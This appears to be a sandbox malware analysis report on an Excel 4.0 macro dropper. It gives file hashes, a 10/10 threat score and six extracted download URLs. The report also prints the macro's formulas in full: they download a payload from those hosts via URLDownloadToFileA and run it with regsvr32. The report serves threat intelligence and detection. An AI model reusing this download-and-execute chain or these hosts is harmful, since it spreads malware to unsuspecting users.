General

  • Target

    be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f

  • Size

    46KB

  • Sample

    241111-vj8vesvpfq

  • MD5

    652e66fb5c62dcad9e8f9ac38c8d1930

  • SHA1

    0fbcbd0a51968f6606eaa6cf9b07952fd2bca032

  • SHA256

    be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f

  • SHA512

    499d40baaac99fa3ebcb4805413cc1eed4963902c0f682d9383385924d61c3e57a3c67bbd95e860bf8934ab09418f833a64bcfece6d357fd0aa5821512e759ec

  • SSDEEP

    768:+io9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:+io9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://diacrestgroup.com/ggv3rjy/9/

https://merturku.com/blogs/IFcif/

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

https://mayatherm.com/vendor/3Vk/

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://diacrestgroup.com/ggv3rjy/9/","..\aew.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://merturku.com/blogs/IFcif/","..\aew.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/","..\aew.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/","..\aew.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mayatherm.com/vendor/3Vk/","..\aew.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/","..\aew.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\aew.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://diacrestgroup.com/ggv3rjy/9/

xlm40.dropper

https://merturku.com/blogs/IFcif/

xlm40.dropper

https://tugbagoncaguzellik.com/odwxblu/hRhyIiTr7M8/

xlm40.dropper

https://winnieswondersaviary.com/wp-content/GfGvSMj6HihGNZZa9T/

xlm40.dropper

https://mayatherm.com/vendor/3Vk/

xlm40.dropper

https://dbmtechnologies.ca/wp-content/oZE7jRqRoPg7zVVW9/

Targets

    • Target

      be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f

    • Size

      46KB

    • MD5

      652e66fb5c62dcad9e8f9ac38c8d1930

    • SHA1

      0fbcbd0a51968f6606eaa6cf9b07952fd2bca032

    • SHA256

      be501dcb76d733b042346ecd10b18075433f9cd2a1d967fac5ebf6c0dfbc344f

    • SHA512

      499d40baaac99fa3ebcb4805413cc1eed4963902c0f682d9383385924d61c3e57a3c67bbd95e860bf8934ab09418f833a64bcfece6d357fd0aa5821512e759ec

    • SSDEEP

      768:+io9DOevZCwrvtD608zdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VPWft:+io9D7UtT5fTR4Lh1NisFYBc3cr+UqVC

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks